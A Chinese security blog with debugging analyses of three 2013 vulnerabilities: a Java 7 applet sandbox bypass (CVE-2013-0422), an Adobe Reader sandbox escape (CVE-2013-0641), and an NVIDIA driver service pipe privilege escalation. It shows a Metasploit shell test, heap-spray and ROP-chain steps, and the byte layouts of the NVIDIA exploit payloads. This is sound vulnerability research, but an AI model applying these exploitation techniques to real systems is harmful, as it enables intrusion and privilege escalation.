2013-07-01

CVE-2013-0422

CVE-2013-0422漏洞简略分析

简介

此漏洞属于JAVA7的设计缺陷,该漏洞主要利用了MBeanInstantiator类中FindClass函数能够查找到任何包内任何类的对象的功能,使得Applet获得了本来无权访问的类;
然后又利用了在JDK1.7中新增的动态实现细节中MethodHandles.Lookup类中findConstructor及findVirtual函数创建了Classloader,并加载了恶意类.

调试环境

本机:Eclipse;win7 x64;jre-7u5-windows-i586;Metasploit 4.6
虚拟机:win xp sp3;jre-7u5-windows-i586;IE8

Metasploit测试

1.首先在Metasploit里边做下漏洞利用测试,配置环境如下所示:

2.之后在虚拟机中IE8输入上边的URL地址之后在Metasploit内就可以得到shell窗口了。
地址:http://192.168.237.1:8080/SIBwjkLzdI

测试代码

首先看下正常情况下的本地测试,代码如下:

import java.io.IOException;   
import java.security.Permission;  
import java.security.PermissionCollection;  
import java.security.Policy;  
import java.security.ProtectionDomain;  
import java.util.Enumeration;  
import javax.swing.JOptionPane;

public class Test {  
    void checkPermission() {  
        ProtectionDomain domain = this.getClass().getProtectionDomain();  
        PermissionCollection pcoll = Policy.getPolicy().getPermissions(domain);  
        Enumeration e = pcoll.elements();  
        int i = 0;  
        for (; e.hasMoreElements();) {  
            Permission p = (Permission) e.nextElement();  
            System.out.println(i + ": " + p);  
            i++;  
        }  
        System.out.println("the num:" + i); 
    }

    void alert() throws IOException {  
        try {  
            Runtime.getRuntime().exec("calc.exe");  
        } catch (IOException e) {  
            // TODO Auto-generated catch block  
            e.printStackTrace();  
            throw e;  
        }  
    } 
    
    public static void main(String[] args) {
        try{
        // TODO Auto-generated method stub  
            Test test = new Test();
             // test.checkPermission(); 
            System.out.println("1.SecurityManager 开启前测试");  
            try {  
                test.alert();  
                System.out.println("2.成功执行 exec");  
            } catch (SecurityException e) {  
                System.out.println("2.you have no permission to exec");  
            }  
            System.out.println("3.开启SecurityManager");  
            System.setSecurityManager(new SecurityManager());  
            System.out.println("4.SecurityManager 开启后测试");  
            try {  
                test.alert();  
                System.out.println("5.成功执行 exec");  
            } catch (SecurityException e) {  
                System.out.println("5.you have no permission to exec");  
            } 
        }catch (Throwable e1) {  
            // TODO Auto-generated catch block  
            e1.printStackTrace();  
        }
    }
}

运行结果:
1.SecurityManager 开启前测试
2.成功执行 exec //弹出计算器
3.开启SecurityManager
4.SecurityManager 开启后测试
5.you have no permission to exec
可见,在开启SecurityManager的情况下是不具有执行exec权限的。

关键代码分析

该漏洞关键代码如下:

1.

由于MBeanInstantiator.findClass函数能够获得任意包中的任意类,因此其继承类
localMBeanInstantiator能够访问原本无权访问的sun.org.mozilla.javascript.internal.Context 及
sun.org.mozilla.javascript.internal.GeneratedClassLoader类;
其中,localClass1 及localClass2分别是两个类的引用.

2.

根据Java7中MethodHandles的动态调用功能, MethodHandles.Lookup 类中包含findVirtual(), findConstructor(), findStatic() , findSpecial() 四个函数。第 三 行localLookup.findVirtual 函 数返回了MethodHandles.Lookup类的findConstructor 函数,指其定类型为localMethodHandle1;之后指定locaMethodType2 的类型为Void型。

由于localMethodHandle1为MethodHandles.Lookup的findConstructor函数句柄,localClass1 为MBean中已经加载的sun.org.mozilla.javascript.internal.Context对象的引用,故调用invokeWithArguments函数即为在JVM中寻找sun.org.mozilla.javascript.internal.Context类的构造函数,返回该类构造函数的句柄为localMethodHandle2, 于是接下来的调用localMethodHandle2.invokeWithArguments即是创建sun.org.mozilla.javascript.internal.Context类的实例对象localObject1.至此通过
MBeanInstantiator类与MethodHandles类,实现了在Applet类中访问原本无权访问
的sun.org.mozilla.javascript.internal.Context类的目的.

3.

方法与上面2相同,localMethodHandle3为MethodHandles.Lookup类findVirutal()函数句柄,类型为localMethodType3。

通过findVirtual函数得到sun.org.mozilla.javascript.internal.Context类的createClassLoader函数,localMethodHandle4即为createClassLoader句柄;

通过调用localObject1的createClassLoader函数创建了一个新的classLoader. localObject2为ClassLoader的实例.

通过MethodHandles.Lookup函数的findVirtual()查找到sun.org.mozilla.javascript.internal.GeneratedClassLoader类的defineClass函数,函数类
型由localMethodType5 指定.此时localMethodHandle5 为defineClass函数类型.

通过调用localObject2类的defineClass函数将arrayOfByteBuff加载到JVM中,并创建为对象
localClass3,此时localClass3具有与localObject2相同的系统权限.

4.当执行localClass3.newInstance 时,在其实现中去掉了系统的SecurityManager,到此完
全关闭了系统的安全策略,从而实现了exploit.

2013-03-21

CVE-2013-0641

CVE-2013-0641 Acrobat Reader sandbox escape 调试笔记

调试环境:

Windows xp sp3_en & Adobe Reader 11.0.1 & Windbg & IDA

漏洞简介

Acrobat Reader自从引入沙盒功能以来,针对其的漏洞攻击就急剧减少,表明沙盒对攻击门槛的提高帮助不少。门槛提升不代表无法攻击,最近流传的通过spear phishing邮件发送pdf附件的攻击就是利用了2个漏洞,第一个利用xfa漏洞rop shellcode加载恶意dll后,再次利用沙盒漏洞,在broker process进程执行最终的恶意代码。

沙箱逃离流程

整个逃离过程全是在D.T dll中完成,该DLL由sandbox process触发xfa漏洞之后shellcode加载,流程如下图所示:

1.通过函数RegisterClipboardFormatW注册剪切板格式,构造0×80个dword,dword全为0×8080020。

2.触发broker process进程分配大小0xC800000内存,其中布置好rop shellcode,同时站位0×8080020附近范围的内存。

3.D.T构造调用GetClipboardFormatNameA的lpc buffer,同时更改lpc buffer对应要调用的tag变成0×73,0×73为GetClipboardFormatNameW的调用tag,broker process进程调用GetClipboardFormatNameW函数获取format,由于原本GetClipboardFormatNameW参数buffer里面填充了0×9c大小的0×42,且是单字节,但是实际的拷贝长度为0×9c×2,导致覆盖了后面的函数指针。

4.D.T构造tag id 0xb0的调用,最终在acrod32.exe 地址AcroRd32+0×9afda控制EIP,跳至0×808002c处执行已经布置好的shellcode, 该shellcode加载L2P.T dll后完成此次攻击。

调试过程

Step1: 注册ClipboardFormat

breakpoit

sandbox process: 
0 e 089c1d7c     0001 (0001)  0:**** D+0x1d7c

D.T通过user32!RegisterClipboardFormatW注册了一个clipboard format,format中构造数据为0x80个0x08080020(该地址为触发漏洞是指向的函数指针地址)。

因此注册新clipboard format的名称为0x80个0x08080020大小为200h,存放在lpszFormat中注册成功,返回表示注册的剪切板格式:0x0000c10a

RegisterClipboardFormat功能
注册一个新的剪贴板格式。这种格式可以被用来作为一个有效的剪贴板格式。
参数
lpszFormat []
类型:LPCTSTR    新的格式的名称
返回值类型:UINT
如果函数调用成功,则返回值标识已注册的剪贴板格式。
如果函数失败,返回值是零。

Step2: 构造ROP链,完成堆喷射

breakpoit

sandbox process:
1 e 089c227d     0001 (0001)  0:**** D+0x227d  /////加载clbcatq.dll函数
2 e 089c2978     0001 (0001)  0:**** D!initOLEcontainer+0x5ec  /////load("clbcatq.dll")
3 e 089c2a75     0001 (0001)  0:**** D!initOLEcontainer+0x6e9  /////构造rop
4 e 089c2b87     0001 (0001)  0:**** D!initOLEcontainer+0x7fb  ////拷贝木马路径到共享内存30830408
5 e 089c2ba4     0001 (0001)  0:**** D!initOLEcontainer+0x818  ///拷贝ROP 堆喷

ClipboardFormat注册过后返回到D+0x2266

089c2266 89c3            mov     ebx,eax
089c2268 680000800c      push    offset <Unloaded_ow.api>+0xc7fffef (0c800000)
089c226d e85e090000      call    D!initOLEcontainer+0x844 (089c2bd0)
089c2272 89c6            mov     esi,eax
089c2274 85f6            test    esi,esi
089c2276 750c            jne     D+0x2284 (089c2284)
089c2278 680000800c      push    offset <Unloaded_ow.api>+0xc7fffef (0c800000)
089c227d e8cb080000      call    D!initOLEcontainer+0x7c1 (089c2b4d)
089c2282 89c6            mov     esi,eax
089c2284 6a01            push    1
089c2286 680000800c      push    offset <Unloaded_ow.api>+0xc7fffef (0c800000)
089c228b 56              push    esi
...

在D+227d处会加载clbcatq.dll并检测其大小,利用clbcatq.dll的代码来构造ROP链,然后开辟共享内存,将ROP链堆喷到共享内存中,大小为0xc800000

Sub_10002940

加载过clbcatq.dll后会用clbcatq.dll中的代码构造ROP链,关键代码如下:

Loc_10002B0A

最后构造的ROP链如下:size=0x400

然后在Loc10002bb2—-Loc10002b97中调用call sub100030d0将L2P.T木马路径复制到共享内存中。
拷贝函数在text:1002b67 call sub
100030d0

拷贝过后将指针返回给eax=30830028(call sub_100030d0)

之后开始完成ROP链堆喷射在木马路径后边,总大小为0xc800000,从而能够在08080820处占坑,ROP链堆喷从0x30830428(3d030028-0c800000+400)到0x3d030028之间。函数如下:

Step3: 布局broker process内存

breakpoit

sandbox process:
5 e 089c1c23 0001 (0001) 0:**** D+0x1c23
brokerpocess:
0 e 00472c2c 0001 (0001) 0:**** AcroRd32+0x72c2c //AllocateHeap
断下以后--- 1 e 0040290b 0001 (0001) 0:**** AcroRd32+0x290b //HeapAlloc
2 e 00472c54 0001 (0001) 0:**** AcroRd32+0x72c54 //ReadProcessMemory
////3 e 0048d6b8 0001 (0001) 0:**** AcroRd32+0x8d6b8 //HttpSendRequestA

堆喷之后返回loc_10002284之后会调用IPC

Sandbox进程通过tag 0x5d调用 HttpSendRequestA函数,在调用HttpSendRequestA之前,broker进程对该调用进行检查,最后在D+0x1c28处调用call ipc读取相应内容到broker进程

调用tag 0x5d之前,此时 eax指向该IPC messager的结构头四个字节为标签0x5d,其中参数30830028对应的长度为0c800000

Call ipc之后被断下:

text:00472C2C Call sub_4218c1会调用AllocateHeap申请大小为0x0c800000大小的内存块,调用关系如下:

Call sub_4218c1---sub_4218CC---call loc_404FBA---loc_404FD1---call sub_4028C6--- loc_4028F7---loc_402902

HeapAlloc:

AcroRd32+0x290b:
0040290b ff155c734e00    call    dword ptr [AcroRd32+0xe735c (004e735c)] ds:0023:004e735c={ntdll!RtlAllocateHeap (7c9100a4)}
0:009> p
eax=02770020 ebx=0c800000 ecx=7c9101bb edx=003e0608 esi=00000000 edi=0c800000
eip=00402911 esp=01c4fc74 ebp=01c4fc80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
AcroRd32+0x2911:
00402911 8bf8            mov     edi,eax

申请堆空间过后,返回堆指针eax;size=0c800000
dd eax

申请堆过后返回调用ReadProcessMemory函数,将申请的堆中写入大小为0x0c800000的数据。
ReadProcessMemory(00000148,30830028,02770020,0c800000,01c4fce8)

第一个参数是 进程句柄,由OpenProcess函数获取;
第二个参数是要读出数据的地址,存放着我们堆喷的ROP链;30830028
第三个参数是用于存放读取数据的地址,为申请的堆空间;02770020
第四个参数是 要读出的数据大小;0c800000
第五个参数是实际读出数据的大小;调用返回后将填写0c800000

写入数据完成过后

从而覆盖到0808082c处刚好是构造的ROP链

Step4: 触发漏洞,造成溢出

breakpoit

sandbox process:
6 e 089c1ea5 0001 (0001) 0:**** D+0x1ea5 //tag(0x73)
7 e 089c22be 0001 (0001) 0:**** D+0x22be //push 9c,call ipc(0x73)
broker process
4 e 00496352 0001 (0001) 0:**** AcroRd32+0x96352 //GetClipboardFormatNameW

D.T在布局完broke process内存之后,开始构造GetClipboardFormatNameA 函数,长度为9ch,然后调用的lpc buffer,具体函数sub_10001E23

0:006> dd eax
089ed43c  00000073 00000000 00000000 00000000
089ed44c  00000000 00000000 00000000 00000000
089ed45c  00000000 00000000 00000000 00000000
089ed46c  00000000 00000000 00000000 00000002
089ed47c  00000006 00000064 0000009c 00000002
089ed48c  00000100 00000004 ffffffff 00000104
089ed49c  ffffffff 42424242 42424242 42424242
089ed4ac  42424242 42424242 42424242 42424242

GetClipboardFormatNameA的tag 是0x74,但是改成0x73之后,broker process 进程并没有检查,对于broker process来说,参数的类型对应的函数ANSI或者UNICODE无法得知,在检查参数和大小一致性后,就开始调用tag指定的GetClipboardFormatNameW函数。
Call IPC之后被断下:

Breakpoint 2 hit
eax=01c4fdac ebx=00000000 ecx=00b638c0 edx=0f0ab140 esi=00b638c0 edi=01c4fdac
eip=00496352 esp=0106ff64 ebp=0106ff68 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
AcroRd32+0x96352:
00496352 8b450c          mov     eax,dword ptr [ebp+0Ch] ss:0023:0106ff74=0f0ab140

GetClipboardFormatNameW API

Function  //接受从剪贴板中的指定的注册格式的名称,将该名称复制到指定的缓冲区。
    Retrieves from the clipboard the name of the specified registered format. The function copies the name to the specified buffer.

Parameters
    format [in]
        Type: UINT
            The type of format to be retrieved. This parameter must not specify any of the predefined clipboard formats.
    lpszFormatName [out]
        Type: LPTSTR
        The buffer that is to receive the format name.
    cchMaxCount [in]
        Type: int
        The maximum length, in characters, of the string to be copied to the buffer. If the name exceeds this limit, it is truncated.

调用 call ds:GetClipboardFormatNameW时3个参数

参数说明:

Format:0x0000c10a   //step1注册
lpszFormatName:0x0f0b26ac //接受buffer
cchMaxCount:0x9c //size

buffer中的数据:

0:003> dd 0f0b26ac l40
0f0b26ac  42424242 42424242 42424242 42424242
0f0b26bc  42424242 42424242 42424242 42424242
0f0b26cc  42424242 42424242 42424242 42424242
0f0b26dc  42424242 42424242 42424242 42424242
0f0b26ec  42424242 42424242 42424242 42424242
0f0b26fc  42424242 42424242 42424242 42424242
0f0b270c  42424242 42424242 42424242 42424242
0f0b271c  42424242 42424242 42424242 42424242
0f0b272c  42424242 42424242 42424242 42424242
0f0b273c  42424242 42424242 42424242 0000c10a  // 0f0b26ac+0x9c=0f0b2748
0f0b274c  00000000 00000000 00000000 e478f5b3   
0f0b275c  ff140100 0050bf20 61e00000 00000000   //0f0b26ac+0x9c+0x18
0f0b276c  00000000 00000000 00000000 00000000
0f0b277c  00000000 00000007 00000000 00000000

初始的buffer是0x9c大小,传入的cchMaxCount也是0x9c,但是user32!GetClipboardFormatNameW实际数据拷贝大小为0x9c*2,从而覆盖了后续buffer的某些关键指针。执行过后覆盖某指针:

0:003> dd 0f0b26ac l40
0f0b26ac  08080020 08080020 08080020 08080020
0f0b26bc  08080020 08080020 08080020 08080020
0f0b26cc  08080020 08080020 08080020 08080020
0f0b26dc  08080020 08080020 08080020 08080020
0f0b26ec  08080020 08080020 08080020 08080020
0f0b26fc  08080020 08080020 08080020 08080020
0f0b270c  08080020 08080020 08080020 08080020
0f0b271c  08080020 08080020 08080020 08080020
0f0b272c  08080020 08080020 08080020 08080020
0f0b273c  08080020 08080020 08080020 08080020
0f0b274c  08080020 08080020 08080020 08080020
0f0b275c  08080020 08080020 08080020 08080020     // overflowed
0f0b276c  08080020 08080020 08080020 08080020
0f0b277c  08080020 08080020 08080020 08080020
0f0b278c  08080020 08080020 08080020 08080020
0f0b279c  08080020 08080020 08080020 08080020

Step5: 控制eip

breakpoit

sandbox process
8 e 089c2094     0001 (0001)  0:**** D+0x2094 //call ipc(0xb0)
broker process
5 e 00497230     0001 (0001)  0:**** AcroRd32+0x97230 //控制eip

D.T在溢出关键数据后,在Call sub10002044再次调用tag id 0xb0,触发调用先前布置被覆盖的某对象:接着上边的调用返回后会调用sub10002044

Call sub_10002044

在call sub_100018a3调用tag id 0xb0

0:006> dd eax
089ed43c  000000b0 00000000 00000000 00000000
089ed44c  00000000 00000000 00000000 00000000
089ed45c  00000000 00000000 00000000 00000000
089ed46c  00000000 00000000 00000000 00000001
089ed47c  00000002 00000058 00000004 ffffffff
089ed48c  0000005c ffffffff 000003ea 00000000
089ed49c  00000000 00000000 00000000 00000000
089ed4ac  00000000 00000000 00000000 00000000

调用call IPC之后被断下:

最后调用rop链加载木马L2P.T

补丁

Adobe已经推出补丁,最新的Reader 11.0.02 for xpsp3en对比发现tag 0x73在处理GetClipboardFormatNameW callback时对传入的cchMaxCount参数进行了处理,将长度先/2,再调用GetClipboardFormatNameW就不会发生溢出了。如下:

2013-01-09

NVidia本地&远程提权漏洞分析

漏洞背景

圣诞节,一个网名“Winter-Smith”(冬日史密斯)的黑客公布了NVIDIA显卡驱动中存在的一个严重安全漏洞,可以轻松获取系统权限。这位老兄还很厚道地在网上公开了漏洞的完整细节,有经验的黑客完全可以拿过来就利用,搞的NVIDIA的某些员工这个圣诞和新年是没法清净。

NVIDIA Driver Helper Service,是一个r3层的服务,程序是nvvsvc.exe(win7)或nvvsvc32.exe(xp),这个程序启动后会创建一个命名管道\pipe\nvsr,比较特别的是这个管道的dacl是空,也就是说everyone都可以访问,xpx32版下0x52命令也不支持,同时老版本的xp版nvsvc32.exe根本没建命名管道。这个漏洞利用只针对win7x64版有效,在win7x32版上只能够做到infoleak。

调试环境

系统环境 Win7sp1 x64 windbg IDA
驱动程序提供商 NVIDIA GT520M
驱动程序版本 8.17.12.9555
服务名称 NVIDIA Display Driver Service
服务进程 nvvsvc.exe
需要说明的是,在windows xp下产生服务的程序是nvsvc32.exe,windows 7下产生服务的是nvvsvc.exe。

漏洞分析

刚开始从网上找到源码,先在我的win7x32下编译运行,程序到第二步直接就挂掉了,提示:!! Unable to create named pipe。然后将程序编译成64位,在虚拟机里win7x64下运行,依然得到相同的结果。

开始看博客原文,大概了解以后知道是测试环境没有对,需要Nvidia的gt540m显卡和win7x64。而且在虚拟机里无法进行测试,因为需要nvvsvc.exe后台服务运行,虚拟机不支持。这就为测试环境提出了非常苛刻的条件。原文博客上记载如果测试成功,会增加一个r00t的管理员,测试窗口显示如下:

 C:\Users\Peter\Desktop\NVDelMe1>nvvsvc_expl.exe 127.0.0.1
 ** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **
 [@peterwintrsmith]
 - Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -
 Action 1 of 9:  - CONNECT
 Action 2 of 9:  - CLIENT => SERVER
 Written 16416 (0x4020) characters to pipe
 Action 3 of 9:   - SERVER => CLIENT
 Read 16504 (0x4078) characters from pipe
 Action 4 of 9: Building exploit ...
 => Stack cookie 0xe2e2893340d4:
 => nvvsvc.exe base 0x13fb90000:
 Action 5 of 9:  - CLIENT => SERVER
 Written 16416 (0x4020) characters to pipe
 Action 6 of 9:   - SERVER => CLIENT
 Read 16384 (0x4000) characters from pipe
 Action 7 of 9:  - CLIENT => SERVER
 Written 16416 (0x4020) characters to pipe
 Action 8 of 9:   - SERVER => CLIENT
 Read 16896 (0x4200) characters from pipe
 Action 9 of 9:  - DISCONNECT

找到gt540m + win7x64这个环境以后测试只能走到第八步,错误提示:

!! Error reading from pipe (at least, no data on pipe)

然后我在自己的电脑上gt520m + win7x64测试也是得到相同的结果,挂到第八步,这样的话就需要去分析源码了。

源码的大概流程是先查找目标机是否存在一个名字为nvsr的管道,如果存在与其进行连接,通过往管道里写入数据从得到的返回数据里得到目标机泄漏出来的cookie和nvvsvc.exe基址,然后通过构造ROP链突破DEP执行shellcode,增加管理员r00t也就是shellcode完成的工作。Shellcode的执行是在nvvsvc进程中执行的,而nvvsvc.exe驱动服务具有管理员权限,因此就完成了提权的过程。

通过对源码的分析,回过头看,挂在第二步肯定就是没找到nvsr管道。本机存在管道的查看可以通过pipelist工具进行查看。挂在第八步就需要对源码进行调试分析,看到底是哪里出错了。通过与测试成功窗口进行对比,挂在第八步的时候,我们看到第四步,并没有显示=> nvvsvc.exe base 0x13fb90000:这条提示符,也就是说并没有找对nvvsvc.exe基址。

在第四步代码之前下断点,经过多次调试以后,发现不同的Nvidia驱动版本对应的匹配字节是不相同的。比如在我的gt520m 驱动版本:8.17.12.9555上边测试就应该是0xb41,这样匹配以后才能算出正确的nvvsvc.exe基址。后边在经过测试验证,在相同的显卡,不同的驱动版本下匹配字节也是不相同的,这就是为什么我们找到了gt540m+win7x64的环境依然不能得到正确的结果。再后来又经过测试,在不同的显卡,相同的驱动版本下匹配字节相同,也就是可以做到通用。在整个调试过程中,不能在虚拟机调试,而且只要调试过一次,nvvsvc.exe后台驱动服务就会挂掉,需要重新启动系统才可以恢复,是一个相当麻烦的过程。

问题找到后,接下来就是构造ROP链的问题了,因为基址不同,ROP链也需要自己重新构造。在构造ROP链过程中,遇到了两个问题,首先是virtualprotect函数参数的使用,源码中给了第二个参数dwSize赋值的是0x1,源码中说明是整个一页,但是实际测试中并不能够成功,最后将其改成0x300成功。第二个问题也是想了很久,也是一个很有意思的问题,在构造ROP链的最后一步jmp rsp,这条指令地址为基址+0xb7153,在调试时候始终跳不过去执行shellcode,最后找到的原因是因为这个偏移太大了,已经不在代码段了,因此是不可执行的指令,最后换上call rsp成功实现跳转执行shellcode。

漏洞利用

攻击者先查找是否能够找到命名管道\pipe\nvsr,如果找到就与其建立通信,分三次往管道中写入数据,第一次泄漏出模块基址用于构造ROP链,第二次将带有ROP链和shellcode的数据写入管道,第三次重新布局数据最后执行shellcode.由于nvvsvc服务具有管理员权限,因此就实现了提权过程。

泄漏出模块基址构造ROP链

第一次写入数据BuildMalicious_LeakStack()总共0x4020字节

 Base + 0x0000     52 00
 Base + 0x0002     41 00 41 00 41 00 41 00....
 Base + 0x4002     00 00
 Base + 0x4004     00 00 00 00
 Base + 0x4008     78 40 00 00
 Base + 0x400c     41 41 41 41
 Base + 0x4010     41 41 41 41
 Base + 0x4014     41 41 41 41
 Base + 0x4018     41 41 41 41
 Base + 0x401c     41 41 41 41

读出数据 0x4200(即nvvsvc服务写入管道数据0x4078)

 rgReadBuf+0x0000      41 41 41 41
 rgReadBuf+0x0004      41 41 41 41
 rgReadBuf+0x0008      41 41 41 41
 rgReadBuf+0x000c      41 41 41 41
 rgReadBuf+0x0010      41 41 41 41
 rgReadBuf+0x0010      00 00 00 00
 ...
 rgReadBuf+0x4034      2e 5d 29 39 44 f5 00 00
 rgReadBuf+0x403c      41 3b 7f 3f 01 00 00 00
 ...

ROP链和shellcode的数据写入管道

nvvsvc服务写入管道数据的方法:
首先会先取管道中数据(即攻击者CLIENT写入管道的数据)头两个字节作为操作判断符号,本漏洞利用的就是0x52操作,操作方式为读写数据。然后判断第三个字节是否为0x00,如果不为0x00,循环判断,最多循环0x2000次,判断结束后,将其后边数据偏移四个字节作为写入管道的数据长度,如上边的0x4078.然后将长度后边的数据作为写入管道的数据,如上边的0x41414141。也就是说最后nvvsvc服务先将Base + 0x400c处开始的长度为0x4078个数据复制到Base + 0x4020处,最后再将这些数据写入管道中。在调用复制数据函数的时候没有做任何有关长度的检测,导致将base+0x400c+0x4034的cookie和base+0x400c+0x403c处的模块基址(需要减去一个偏移)泄漏出来并写入管道,最后攻击者CLIENT读出这些数据加以利用。

base+0x400c+0x403c处的模块基址需要做一些处理才能使用,比如上边读到的是0x013f7f3b41,先将这个值&0xfff得到后三位0xb41,这个值对应着每个NviDia的驱动版本,不同版本的驱动程序释放出来的nvvsvc.exe模块代码稍有不同,因此构造ROP链也会有差异。最后将0x013f7f3b41减去后四位0x3b41就得到了nvvsvc.exe模块基址。

第二次 写入数据BuildMalicious_FillBuf() 总共0x4020

 Base + 0x0000     52 00
 Base + 0x0002     00 00
 Base + 0x0004     00 00 00 00
 Base + 0x0008     00 40 00 00
 Base + 0x000c     43 43 43 43...
 Base + 0x0018     2e 5d 29 39 44 f5 00 00 cookie
 Base + 0x0020     43 43 43 43....
 Base + 0x0040     ROP链...
 Base + 0x0158     shellcode...
 ...
 其他0x43覆盖

读出数据 0x4000(即nvvsvc服务写入管道数据0x4000)

 rgReadBuf+0x0000      43 43 43 43...
 ...
 rgReadBuf+0x0044      ROP链...
 rgReadBuf+0x014c      shellcode...
 ...
 其他0x43覆盖

第三次 写入数据BuildMalicious_OverwriteStack() 总共0x4020

 Base + 0x0000     52 00
 Base + 0x0002     00 00
 Base + 0x0004     00 00 00 00
 Base + 0x0008     40 43 00 00
 Base + 0x000c     42 42 42 42...
 ...

经过管道处理复制(0x4340个字节)以后,在nvvsvc模块缓冲区中

 Base + 0x0000     52 00
 Base + 0x0002     00 00
 Base + 0x0004     00 00 00 00
 Base + 0x0008     40 43 00 00
 Base + 0x000c     42 42 42 42...
 ...
 Base+0x401c       42 42 42 42
 Base+0x4020       42 42 42 42
 ...
 Base+0x8034       43 43 43 43
 ...
 Base+0x8064       rop链...
 Base+0x8078       shellcode...
 ...

通过控制复制的字节长度,最后一步恢复堆栈时候 lea r11,[rsp+82B0h]将跳到我们控制的地方。
读出数据 0x4200(nvvsvc服务写入管道数据0x4340)

 rgReadBuf+0x0000      42 42 42 42...
 ...
 rgReadBuf+0x4014      43 43 43 43
 ...
 rgReadBuf+0x4044      rop链...
 rgReadBuf+0x414c      shellcode...
 ...

IDA关键代码:

 .text:0000000000003B18         mov     rax, rsp
 .text:0000000000003B1B         mov     [rax+10h], rbx
 .text:0000000000003B1F         mov     [rax+18h], rsi
 .text:0000000000003B23         mov     [rax+20h], rdi
 .text:0000000000003B27         push    rbp
 .text:0000000000003B28         push    r12
 .text:0000000000003B2A         push    r13
 .text:0000000000003B2C         push    r14
 .text:0000000000003B2E           push    r15
 .text:0000000000003B30         lea     rbp, [rax-81D8h]
 .text:0000000000003B37         mov     eax, 82B0h
 .text:0000000000003B3C         call    sub_49880
 .text:0000000000003B41         sub     rsp, rax
 .text:0000000000003B44         mov     rax, cs:qword_C5148
 .text:0000000000003B4B         xor     rax, rsp
 .text:0000000000003B4E         mov     [rbp+81A0h], rax
 .text:0000000000003B55         xor     r14d, r14d
 .text:0000000000003B58         lea     r9, [rsp+28h+NumberOfBytesRead] ; lpNumberOfBytesRead
 .text:0000000000003B5D         lea     rdx, [rbp+160h] ; lpBuffer
 .text:0000000000003B64         mov     r8d, 4020h      ; nNumberOfBytesToRead
 .text:0000000000003B6A         mov     rsi, rcx
 .text:0000000000003B6D         mov     [rsp+28h+NumberOfBytesRead], r14d
 .text:0000000000003B72         mov     [rsp+28h+NumberOfBytesWritten], r14d
 .text:0000000000003B77         mov     [rsp+28h+nNumberOfBytesToWrite], r14d
 .text:0000000000003B7C         mov     [rsp+28h+var_8], r14
 .text:0000000000003B81         call    cs:ReadFile
 ; nvvsvc服务从管道固定读入4020个字节数据到缓冲区
 .text:0000000000003B87         test    eax, eax
 .text:0000000000003B89         jz      loc_406F
 .text:0000000000003B8F         mov     ebx, 2000h
 .text:0000000000003B94         lea     edi, [r14+52h]  ; edi=52h
 .text:0000000000003B98         lea     r15d, [r14+12h] ; r15=12h
 .text:0000000000003B9C
 .text:0000000000003B9C loc_3B9C:                ; CODE XREF: sub_3B18+551j
 .text:0000000000003B9C         cmp     [rsp+28h+NumberOfBytesRead], r14d ; [rsp+28h+NumberOfBytesRead]=4020h,r14d=0
 .text:0000000000003BA1         jz      loc_406F
 .text:0000000000003BA7         movzx   ecx, word ptr [rbp+160h]
 ;将读入的数据头两个字节放入ecx中,ecx=0052,根据头两字节来判断操作,根据后边调试分析,0x52为管道读写操作,读写方法上边已经介绍。
 .text:0000000000003BAE         sub     ecx, 23h     ; ecx=2f
 .text:0000000000003BB1         jz      loc_3F70
 .text:0000000000003BB7         sub     ecx, 20h     ; ecx=f
 .text:0000000000003BBA            jz      loc_3E9C
 .text:0000000000003BC0         dec     ecx
 .text:0000000000003BC2         jz      loc_3E41
 .text:0000000000003BC8         sub     ecx, 3
 .text:0000000000003BCB         jz      loc_3DBB
 .text:0000000000003BD1         sub     ecx, 5
 .text:0000000000003BD4         jz      loc_3D35
 .text:0000000000003BDA         sub     ecx, 6
 .text:0000000000003BDD         jz      loc_3CB2     ; 跳转
 .text:0000000000003BE3         cmp     ecx, 5
 .text:0000000000003BE6         jz      short loc_3BFA
 .text:0000000000003BE8         mov     r8d, 1Ch
 .text:0000000000003BEE         lea     rdx, aUnknownToken ; "Unknown token"
 .text:0000000000003BF5         jmp     loc_3F5F
 ......
 text:0000000000003CB2 loc_3CB2:                ; CODE XREF: sub_3B18+C5j
 .text:0000000000003CB2         lea     rcx, [rbp+162h]
 .text:0000000000003CB9         mov     rdx, rbx
 .text:0000000000003CBC            mov     [rsp+28h+arg_4], 3
 .text:0000000000003CC4         call    sub_462E0
 ; 该函数的功能是循环判断rax次(rax最大2000h),以0作为判断终止符,然后将rax返回,下边将根据rax来复制将要写入管道的数据。
 .text:0000000000003CC9         cmp     cs:dword_D0990, r14d
 .text:0000000000003CD0         lea     r9, [rsp+28h+arg_8]
 .text:0000000000003CD5         mov     ecx, [rbp+rax*2+164h]
 ; ecx=0  [rbp+rax*2+164h]=000000007840000041414141...
 .text:0000000000003CDC         lea     rdi, [rbp+rax*2+16Ch]
 ; [rbp+rax*2+16Ch]=4141414141...
 .text:0000000000003CE4         lea     rdx, [rsp+28h+arg_4]
 .text:0000000000003CE9         mov     [rsp+28h+arg_4], ecx
 .text:0000000000003CED         mov     ecx, [rbp+rax*2+168h] ; rcx=4078
 .text:0000000000003CF4         mov     r8, rdi      ; [r8]=41414141...
 .text:0000000000003CF7         mov     [rsp+28h+arg_8], ecx
 .text:0000000000003CFB         lea     rcx, [rbp+162h]
 .text:0000000000003D02         jle     short loc_3D0B
 .text:0000000000003D04         call    sub_2C84
 .text:0000000000003D09         jmp     short loc_3D10
 .text:0000000000003D0B ; ---------------------------------------------------------------------------

 .text:0000000000003D0B
 .text:0000000000003D0B loc_3D0B:                ; CODE XREF: sub_3B18+1EAj
 .text:0000000000003D0B         call    sub_2A00
 .text:0000000000003D10 ; ---------------------------------------------------------------------------

 .text:0000000000003D10
 .text:0000000000003D10 loc_3D10:                ; CODE XREF: sub_3B18+1F1j
 .text:0000000000003D10         movsxd  rbx, [rsp+28h+arg_8]
 .text:0000000000003D15         lea     rcx, [rbp+4180h]
 .text:0000000000003D1C            mov     rdx, rdi
 .text:0000000000003D1F         mov     r8, rbx
 .text:0000000000003D22         call    sub_45980
 ; bug!!!复制数据函数  该函数的功能就是复制将要写入管道的数据,没有做任何检测,最后返回存放该数据缓冲区指针rax。该数据将发送回攻击者,长度为4078导致内存泄漏
 .text:0000000000003D27         mov     [rsp+28h+nNumberOfBytesToWrite], ebx
 .text:0000000000003D2B
 .text:0000000000003D2B loc_3D2B:                ; CODE XREF: sub_3B18+156j
